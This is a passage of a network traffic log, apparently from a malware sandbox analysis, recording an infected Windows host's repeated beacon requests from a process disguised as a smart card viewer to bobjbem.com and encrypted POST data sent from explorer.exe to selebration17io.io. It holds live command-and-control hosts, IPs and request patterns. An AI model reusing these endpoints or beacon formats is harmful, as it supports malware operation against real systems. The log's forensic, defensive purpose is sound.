Feb 5, 2024 10:59:33.296706915 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49905	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:33.686141014 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:33.924110889 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49906	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:34.278973103 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:34.522084951 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49907	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:34.878798008 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:35.122579098 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49908	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:35.519445896 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:35.757667065 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49909	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:36.132194042 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:36.375727892 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49910	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:36.734046936 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:36.972702980 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49911	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:37.322844028 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:37.564907074 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49912	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:37.919606924 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:38.163713932 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49913	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:38.526405096 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:38.764547110 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49914	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:38.900197029 CET	284	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ndubespwupfn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 315 Host: selebration17io.io
Feb 5, 2024 10:59:38.900230885 CET	315	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 ea e7 08 d2 Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bOkgqEse\|"g_=M$it^{`#7wE"Mj)1'%%rX!\|u%yaK.RMjXQ@bXN&`w~&
Feb 5, 2024 10:59:39.169214010 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:59:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49915	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:39.116286039 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:39.362935066 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49916	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:39.751784086 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:39.989799023 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49918	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:40.363856077 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:40.609180927 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49919	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:41.026038885 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:41.270272017 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49920	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:41.623683929 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:41.861656904 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49922	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:42.246488094 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:42.489573002 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49923	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:42.855346918 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:43.093522072 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49924	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:43.445158005 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:43.692625999 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49925	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:44.123605013 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:44.369592905 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49926	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:44.720501900 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:44.959117889 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49927	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:45.311059952 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:45.555166960 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49928	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:45.904891968 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:46.147187948 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49929	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:46.466434956 CET	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dlruxycurqsbfho.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 221 Host: selebration17io.io
Feb 5, 2024 10:59:46.466486931 CET	221	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 e6 f8 1a ad Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bOlukPux?A)r{n5oy*66NW91'+Xm7ddX1G`3trNiz(x08:OL}A9?
Feb 5, 2024 10:59:46.718635082 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:59:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49930	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:46.547169924 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:46.785254002 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49931	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:47.212414980 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:47.459369898 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
